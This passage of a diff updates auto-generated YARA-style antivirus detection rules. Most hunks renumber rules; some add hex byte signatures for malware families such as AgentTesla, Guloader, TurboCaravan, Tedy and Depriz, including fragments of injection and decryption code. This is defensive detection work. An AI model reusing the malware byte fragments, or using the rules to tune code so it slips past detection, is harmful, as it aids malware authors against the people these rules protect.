& 1)*26414+(#a_00_4 & 1)*0) >=5 } -rule _InfrastructureShared_9958{ +rule _InfrastructureShared_10599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -107684,7 +114735,7 @@ rule _InfrastructureShared_9958{ ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*27756+(#a_6f_2 & 1)*30023+(#a_6e_3 & 1)*25959+(#a_72_4 & 1)*25195) >=5 } -rule _InfrastructureShared_9959{ +rule _InfrastructureShared_10600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -107698,7 +114749,7 @@ rule _InfrastructureShared_9959{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29550+(#a_61_2 & 1)*385+(#a_76_3 & 1)*26723+(#a_4c_4 & 1)*-32495) >=5 } -rule _InfrastructureShared_9960{ +rule _InfrastructureShared_10601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -107712,7 +114763,7 @@ rule _InfrastructureShared_9960{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*385+(#a_00_2 & 1)*14645+(#a_6e_3 & 1)*385+(#a_3a_4 & 1)*25455) >=5 } -rule _InfrastructureShared_9961{ +rule _InfrastructureShared_10602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -107726,7 +114777,7 @@ rule _InfrastructureShared_9961{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_00_2 & 1)*22849+(#a_41_3 & 1)*384+(#a_00_4 & 1)*5) >=5 } -rule _InfrastructureShared_9962{ +rule _InfrastructureShared_10603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -107740,7 +114791,7 @@ rule _InfrastructureShared_9962{ ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*21061+(#a_4e_2 & 1)*384+(#a_01_3 & 1)*5888+(#a_63_4 & 1)*27714) >=5 } -rule _InfrastructureShared_9963{ +rule _InfrastructureShared_10604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -107754,7 +114805,7 @@ rule _InfrastructureShared_9963{ ((#a_41_0 & 1)*20515+(#a_2e_1 & 1)*25956+(#a_58_2 & 1)*28265+(#a_73_3 & 1)*29743+(#a_4c_4 & 1)*28225) >=5 } -rule _InfrastructureShared_9964{ +rule _InfrastructureShared_10605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -107766,7 +114817,7 @@ rule _InfrastructureShared_9964{ ((#a_41_0 & 1)*20515+(#a_61_1 & 1)*384+(#a_3a_4 & 1)*19521) >=5 } -rule _InfrastructureShared_9965{ +rule _InfrastructureShared_10606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -107781,7 +114832,7 @@ rule _InfrastructureShared_9965{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*30575+(#a_33_2 & 1)*26967+(#a_6c_3 & 1)*4098+(#a_54_4 & 1)*8515+(#a_01_5 & 1)*2816) >=5 } -rule _InfrastructureShared_9966{ +rule _InfrastructureShared_10607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -107792,7 +114843,7 @@ rule _InfrastructureShared_9966{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*7056) >=6 } -rule _InfrastructureShared_9967{ +rule _InfrastructureShared_10608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -107806,7 +114857,7 @@ rule _InfrastructureShared_9967{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*385+(#a_6e_2 & 1)*22330+(#a_67_4 & 1)*21101+(#a_65_5 & 1)*25714) >=6 } -rule _InfrastructureShared_9968{ +rule _InfrastructureShared_10609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -107821,7 +114872,7 @@ rule _InfrastructureShared_9968{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*25972+(#a_6c_2 & 1)*25449+(#a_61_3 & 1)*29541+(#a_92_4 & 1)*0+(#a_34_5 & 1)*13619) >=6 } -rule _InfrastructureShared_9969{ +rule _InfrastructureShared_10610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -107836,7 +114887,7 @@ rule _InfrastructureShared_9969{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25956+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 } -rule _InfrastructureShared_9970{ +rule _InfrastructureShared_10611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -107851,7 +114902,7 @@ rule _InfrastructureShared_9970{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*265+(#a_6d_2 & 1)*26946+(#a_7a_3 & 1)*21039+(#a_d0_4 & 1)*0+(#a_d0_6 & 1)*12811) >=7 } -rule _InfrastructureShared_9971{ +rule _InfrastructureShared_10612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -107866,7 +114917,7 @@ rule _InfrastructureShared_9971{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*13362+(#a_23_2 & 1)*2+(#a_89_3 & 1)*304+(#a_f0_5 & 1)*-29880+(#a_58_6 & 1)*25115) >=7 } -rule _InfrastructureShared_9972{ +rule _InfrastructureShared_10613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 02 00 21 " @@ -107877,7 +114928,7 @@ rule _InfrastructureShared_9972{ ((#a_46_0 & 1)*16675+(#a_c1_1 & 1)*18672) >=8 } -rule _InfrastructureShared_9973{ +rule _InfrastructureShared_10614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -107887,7 +114938,7 @@ rule _InfrastructureShared_9973{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_9974{ +rule _InfrastructureShared_10615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0b 00 03 00 21 " @@ -107898,7 +114949,7 @@ rule _InfrastructureShared_9974{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116) >=11 } -rule _InfrastructureShared_9975{ +rule _InfrastructureShared_10616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -107909,7 +114960,7 @@ rule _InfrastructureShared_9975{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*9732) >=12 } -rule _InfrastructureShared_9976{ +rule _InfrastructureShared_10617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -107921,7 +114972,7 @@ rule _InfrastructureShared_9976{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*3332+(#a_00_2 & 1)*144) >=12 } -rule _InfrastructureShared_9977{ +rule _InfrastructureShared_10618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 03 00 21 " @@ -107933,7 +114984,7 @@ rule _InfrastructureShared_9977{ ((#a_46_0 & 1)*16675+(#a_11_1 & 1)*11046+(#a_65_2 & 1)*28534) >=14 } -rule _InfrastructureShared_9978{ +rule _InfrastructureShared_10619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -107947,7 +114998,7 @@ rule _InfrastructureShared_9978{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25710+(#a_4e_2 & 1)*28755+(#a_00_3 & 1)*18+(#a_6a_4 & 1)*29268) >=14 } -rule _InfrastructureShared_9979{ +rule _InfrastructureShared_10620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 03 00 21 " @@ -107959,7 +115010,7 @@ rule _InfrastructureShared_9979{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29810+(#a_00_2 & 1)*28426) >=16 } -rule _InfrastructureShared_9980{ +rule _InfrastructureShared_10621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 06 00 21 " @@ -107971,23 +115022,36 @@ rule _InfrastructureShared_9980{ ((#a_46_0 & 1)*16675+(#a_00_3 & 1)*10762+(#a_06_4 & 1)*1536) >=18 } -rule _InfrastructureShared_9981{ +rule _InfrastructureShared_10622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 09 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4b 32 30 39 32 21 4d 54 42 00 01 00 08 00 47 65 74 50 69 78 65 6c 01 00 06 00 42 69 74 6d 61 70 01 00 07 00 54 6f 57 69 6e 33 32 01 00 05 00 00 57 30 32 00 01 00 05 00 00 } //18467 - $a_00_1 = {01 00 05 00 00 57 30 34 00 01 00 05 81 01 00 63 79 7a 00 01 00 05 81 01 00 78 73 61 00 0a 00 0c 03 11 04 20 00 90 01 01 00 00 32 90 00 00 00 78 93 00 00 } //12375 - $a_00_2 = {01 } //1 - $a_41_3 = {46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 36 34 2f 54 75 72 62 6f 43 61 72 61 76 61 6e 2e } //8448 F:TrojanDropper:Win64/TurboCaravan. - $a_68_4 = {00 01 00 5a 43 8b c1 48 89 45 90 01 01 85 c9 0f 84 90 01 01 03 00 00 ff 15 90 01 02 00 00 33 d2 b9 ff ff 1f 00 44 8b c0 ff 15 90 01 02 00 00 c7 44 24 28 40 00 00 00 4c 8d 4d 90 01 01 48 8b c8 c7 44 24 20 00 30 00 00 45 33 c0 48 8d 55 90 01 01 ff d7 85 c0 0f 88 90 01 01 03 00 00 90 00 00 00 78 93 00 } //8513 - $a_52_7 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 4b 4b 51 31 32 33 21 4d 54 42 00 01 00 5d 01 0c 16 0d 20 00 16 01 00 13 04 2b 4c 20 00 01 00 00 13 09 09 17 58 13 0a 09 11 04 5d 13 0b 11 0a 11 04 5d 13 0c 07 11 0c 91 11 09 58 13 } //21320 - $a_0b_8 = {91 13 0e 08 09 1f 16 5d 91 13 0f 11 0e 11 0f 61 13 } //1805 + $a_00_1 = {01 00 05 00 00 57 30 34 00 01 00 05 81 01 00 63 79 7a 00 01 00 05 81 01 00 78 73 61 00 0a 00 0c 03 11 04 20 00 90 01 01 00 00 32 90 00 00 00 78 92 00 00 } //12375 + $a_00_2 = {02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 4c 4d 42 21 4d 54 42 00 14 00 22 01 8b c6 } //40 + $a_f7_3 = {84 15 1c ff ff ff 32 84 35 1c ff ff ff 32 c1 fe c1 88 84 35 1c ff ff ff 46 3a cb 14 00 40 01 0f b6 84 1d fd fe ff ff 8d 8d fb fe ff ff 2b c8 8a 11 8a ca d0 c1 32 d1 d0 c1 32 d1 d0 c1 8a c1 d0 c0 32 c1 32 c2 34 63 88 83 11 4c 45 00 43 0f b6 c0 88 98 10 51 45 00 8d 43 01 3d 00 01 00 00 00 00 78 93 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 36 34 2f 54 75 72 62 6f 43 61 72 61 76 61 6e 2e 41 21 64 68 61 00 01 00 5a 43 8b c1 48 89 45 90 01 01 85 c9 0f 84 90 01 01 03 00 00 ff 15 90 01 02 00 00 33 d2 b9 ff ff 1f 00 44 8b c0 ff 15 90 01 02 00 00 c7 44 24 28 40 00 00 00 4c 8d 4d 90 01 01 48 8b c8 c7 44 24 20 00 30 00 00 45 33 c0 48 8d 55 90 01 01 ff d7 85 c0 0f 88 90 01 01 03 00 00 90 00 00 } //-11725 + $a_00_4 = {00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 4b 4b 51 31 32 33 21 4d 54 42 00 01 00 5d 01 0c 16 0d 20 00 16 01 00 13 04 2b 4c 20 00 01 00 00 13 09 09 17 58 13 0a 09 11 04 5d 13 0b 11 0a 11 04 5d 13 0c 07 11 0c 91 11 09 58 13 0d 07 11 0b 91 13 0e 08 09 1f 16 5d 91 13 0f 11 0e 11 0f 61 13 10 11 10 11 0d 59 13 11 07 11 0b 11 11 11 09 5d d2 9c 09 17 58 0d 09 11 04 32 af 00 } //30720 + $a_00_5 = {00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 43 43 30 31 21 4d 54 42 00 01 00 5d 81 01 16 6a 0b 2b 41 06 07 06 8e 69 6a 5d d4 91 11 0a 07 11 0a 8e 69 6a 5d d4 91 61 06 07 17 6a 58 06 8e 69 6a 5d d4 91 59 20 00 01 00 00 58 13 10 06 07 06 8e 69 6a 5d d4 11 10 20 00 01 00 00 5d d2 9c 07 17 6a 58 0b 07 06 8e 69 17 59 11 0c 17 58 5a 6a fe 02 16 fe 01 13 11 11 11 2d a8 00 } //30720 + $a_00_6 = {00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 45 57 30 31 21 4d 54 42 00 01 00 5e 03 06 8e 69 18 5a 1f 16 58 0b 2b 3e 06 07 06 8e 69 5d 06 07 06 8e 69 5d 91 09 07 1f 16 5d 91 61 28 90 01 01 00 00 0a 06 07 17 58 06 8e 69 5d 91 28 90 01 01 00 00 0a 59 20 00 01 00 00 58 20 00 01 00 00 5d 28 90 01 01 00 00 0a 9c 07 15 58 0b 07 16 fe 04 16 fe 01 13 06 11 06 2d b5 90 00 00 } //30720 + $a_00_7 = {00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 46 4e 30 31 21 4d 54 42 00 01 00 5d 81 01 16 13 06 2b 4d 00 11 06 1f 16 5d 13 07 11 06 17 58 13 08 07 11 08 07 8e 69 5d 91 13 09 08 11 07 91 13 0a 07 11 06 91 11 0a 61 13 0b 07 11 06 11 0b 11 09 59 20 00 01 00 00 58 d2 9c 07 11 06 07 11 06 91 20 ff 00 00 00 5f d2 9c 00 11 06 17 58 13 06 11 06 09 fe 04 13 0c 11 0c 2d a8 00 } //30720 + $a_00_8 = {00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 41 41 41 33 21 4d 54 42 00 01 00 5f 01 28 20 00 00 06 0c 07 8e 69 0d 16 13 05 2b 4b 11 05 1f 16 5d 13 06 11 05 17 58 13 07 07 11 07 07 8e 69 5d 91 13 08 08 11 06 91 13 09 07 11 05 91 11 09 61 13 0a 07 11 05 11 0a 11 08 59 20 00 01 00 00 58 d2 9c 07 11 05 07 11 05 91 20 ff 00 00 00 5f d2 9c 11 05 17 58 13 05 11 05 09 32 b0 00 } //30720 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*12375+(#a_00_2 & 1)*1+(#a_41_3 & 1)*8448+(#a_68_4 & 1)*8513+(#a_52_7 & 1)*21320+(#a_0b_8 & 1)*1805) >=18 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*12375+(#a_00_2 & 1)*40+(#a_f7_3 & 1)*-11725+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720+(#a_00_7 & 1)*30720+(#a_00_8 & 1)*30720) >=18 } -rule _InfrastructureShared_9982{ +rule _InfrastructureShared_10623{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 4c 4d 42 21 4d 54 42 00 14 00 22 01 8b c6 33 d2 f7 f7 8a 84 15 1c ff ff ff 32 84 35 1c ff ff ff 32 c1 fe c1 88 84 35 1c ff ff ff 46 3a cb 14 00 40 01 0f } //21539 + $a_fd_1 = {ff ff 8d 8d fb fe ff ff 2b c8 8a 11 8a ca d0 c1 32 d1 d0 c1 32 d1 d0 c1 8a c1 d0 c0 32 } //-31562 + condition: + ((#a_4c_0 & 1)*21539+(#a_fd_1 & 1)*-31562) >=40 + +} +rule _InfrastructureShared_10624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -107997,7 +115061,7 @@ rule _InfrastructureShared_9982{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9983{ +rule _InfrastructureShared_10625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -108007,7 +115071,7 @@ rule _InfrastructureShared_9983{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9984{ +rule _InfrastructureShared_10626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -108017,7 +115081,7 @@ rule _InfrastructureShared_9984{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9985{ +rule _InfrastructureShared_10627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -108027,7 +115091,7 @@ rule _InfrastructureShared_9985{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9986{ +rule _InfrastructureShared_10628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -108037,7 +115101,7 @@ rule _InfrastructureShared_9986{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9987{ +rule _InfrastructureShared_10629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -108047,7 +115111,7 @@ rule _InfrastructureShared_9987{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9988{ +rule _InfrastructureShared_10630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -108057,7 +115121,7 @@ rule _InfrastructureShared_9988{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9989{ +rule _InfrastructureShared_10631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -108067,7 +115131,7 @@ rule _InfrastructureShared_9989{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_9990{ +rule _InfrastructureShared_10632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -108078,7 +115142,7 @@ rule _InfrastructureShared_9990{ ((#a_46_0 & 1)*16675+(#a_0f_1 & 1)*-31287) >=1 } -rule _InfrastructureShared_9991{ +rule _InfrastructureShared_10633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -108089,7 +115153,7 @@ rule _InfrastructureShared_9991{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-29382) >=1 } -rule _InfrastructureShared_9992{ +rule _InfrastructureShared_10634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -108101,7 +115165,7 @@ rule _InfrastructureShared_9992{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*18758+(#a_69_2 & 1)*29285) >=1 } -rule _InfrastructureShared_9993{ +rule _InfrastructureShared_10635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 01 00 03 00 21 " @@ -108113,7 +115177,7 @@ rule _InfrastructureShared_9993{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29788+(#a_03_2 & 1)*1) >=1 } -rule _InfrastructureShared_9994{ +rule _InfrastructureShared_10636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -108124,7 +115188,7 @@ rule _InfrastructureShared_9994{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*26465) >=2 } -rule _InfrastructureShared_9995{ +rule _InfrastructureShared_10637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -108134,7 +115198,7 @@ rule _InfrastructureShared_9995{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_9996{ +rule _InfrastructureShared_10638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -108145,7 +115209,7 @@ rule _InfrastructureShared_9996{ ((#a_54_0 & 1)*18467+(#a_59_1 & 1)*23913) >=2 } -rule _InfrastructureShared_9997{ +rule _InfrastructureShared_10639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -108156,7 +115220,7 @@ rule _InfrastructureShared_9997{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-8147) >=2 } -rule _InfrastructureShared_9998{ +rule _InfrastructureShared_10640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -108167,7 +115231,7 @@ rule _InfrastructureShared_9998{ ((#a_4c_0 & 1)*21539+(#a_50_1 & 1)*-15229) >=2 } -rule _InfrastructureShared_9999{ +rule _InfrastructureShared_10641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -108179,7 +115243,7 @@ rule _InfrastructureShared_9999{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*28788+(#a_00_2 & 1)*2) >=2 } -rule _InfrastructureShared_10000{ +rule _InfrastructureShared_10642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -108192,7 +115256,7 @@ rule _InfrastructureShared_10000{ ((#a_54_0 & 1)*18467+(#a_46_2 & 1)*4352+(#a_37_3 & 1)*25410+(#a_44_4 & 1)*12082) >=2 } -rule _InfrastructureShared_10001{ +rule _InfrastructureShared_10643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -108204,7 +115268,7 @@ rule _InfrastructureShared_10001{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_65_2 & 1)*28021) >=3 } -rule _InfrastructureShared_10002{ +rule _InfrastructureShared_10644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -108216,7 +115280,7 @@ rule _InfrastructureShared_10002{ ((#a_46_0 & 1)*16675+(#a_5b_1 & 1)*6144+(#a_64_2 & 1)*15726) >=3 } -rule _InfrastructureShared_10003{ +rule _InfrastructureShared_10645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -108228,7 +115292,7 @@ rule _InfrastructureShared_10003{ ((#a_46_0 & 1)*16675+(#a_11_1 & 1)*24170+(#a_00_2 & 1)*144) >=3 } -rule _InfrastructureShared_10004{ +rule _InfrastructureShared_10646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -108239,7 +115303,7 @@ rule _InfrastructureShared_10004{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*115) >=3 } -rule _InfrastructureShared_10005{ +rule _InfrastructureShared_10647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -108249,7 +115313,7 @@ rule _InfrastructureShared_10005{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_10006{ +rule _InfrastructureShared_10648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -108261,31 +115325,55 @@ rule _InfrastructureShared_10006{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*27189+(#a_73_2 & 1)*28261) >=3 } -rule _InfrastructureShared_10007{ +rule _InfrastructureShared_10649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4c 4b 34 38 00 01 00 24 81 01 73 65 6e 65 73 74 65 73 20 63 75 72 6d 75 72 67 69 6e 67 20 66 6c 65 72 74 61 6c 73 65 6e 64 65 6c 73 65 6e 01 00 28 81 01 69 6e 74 65 72 72 65 67 } //18467 $a_73_1 = {62 6e 61 74 75 72 61 6c 6c 79 20 73 75 70 65 72 72 69 67 68 74 65 6f 75 73 6c 79 01 00 0d 81 01 } //24942 - $a_62_2 = {6b 6e 69 6e 67 65 72 73 00 00 78 93 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 57 4b 31 32 33 21 4d 54 42 00 01 00 12 81 01 67 61 6c 6c 69 70 6f 74 20 73 6a 75 6b 68 75 73 65 74 01 00 2d 81 01 72 65 74 73 73 61 67 65 72 6e 65 20 73 69 62 65 6e 73 62 65 74 } //24932 + $a_62_2 = {6b 6e 69 6e 67 65 72 73 00 00 78 93 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 47 30 31 21 4d 54 42 00 01 00 27 81 01 6b 6f 6d 6d 75 6e 65 70 6c 61 6e 6c 67 6e 69 6e 67 65 72 6e 65 73 20 63 6f 7a 7a 65 73 20 6c 61 67 65 72 66 72 74 65 01 00 1f 81 01 68 65 } //24932 condition: ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*24942+(#a_62_2 & 1)*24932) >=3 } -rule _InfrastructureShared_10008{ +rule _InfrastructureShared_10650{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 47 30 31 21 4d 54 42 00 01 00 27 81 01 6b 6f 6d 6d 75 6e 65 70 6c 61 6e 6c 67 6e 69 6e 67 65 72 6e 65 73 20 63 6f 7a 7a 65 73 20 6c 61 67 65 72 66 72 74 65 01 00 1f 81 01 68 65 61 74 6c 69 6b 65 } //18467 + $a_74_1 = {73 74 65 72 20 66 6f 72 66 6c 79 67 74 69 67 65 64 65 01 00 16 81 01 66 6f 72 73 62 65 6e 64 65 20 62 6c 6f 74 6c 65 73 73 6e 65 73 73 00 00 78 93 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 57 4b 31 32 33 21 4d 54 42 00 01 00 12 81 01 67 61 6c 6c 69 70 6f 74 20 73 6a 75 6b 68 75 73 65 74 } //24864 + $a_81_2 = {72 65 74 73 73 61 67 65 72 6e 65 20 73 69 62 65 6e 73 62 65 74 6e 64 65 6c 73 65 72 6e 65 73 20 68 69 70 70 6f 70 6f 74 61 6d 6f 69 64 } //1 retssagerne sibensbetndelsernes hippopotamoid + condition: + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*24864+(#a_81_2 & 1)*1) >=3 + +} +rule _InfrastructureShared_10651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 57 4b 31 32 33 21 4d 54 42 00 01 00 12 81 01 67 61 6c 6c 69 70 6f 74 20 73 6a 75 6b 68 75 73 65 74 01 00 2d 81 01 72 65 74 73 73 61 67 65 72 6e 65 20 73 69 62 65 6e 73 62 65 74 6e 64 65 6c 73 65 } //18467 - $a_73_1 = {68 69 70 70 6f 70 6f 74 61 6d 6f 69 64 01 00 1b 81 01 62 65 73 6c 61 67 6c 67 6e 69 6e 67 73 20 61 6e 74 69 74 72 61 64 69 74 69 6f 6e 00 00 78 93 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 70 72 69 7a 2e 46 21 64 68 61 00 01 00 13 01 73 68 75 74 64 6f 77 6e } //28274 - $a_20_2 = {66 20 2d 74 20 32 01 00 17 03 5c 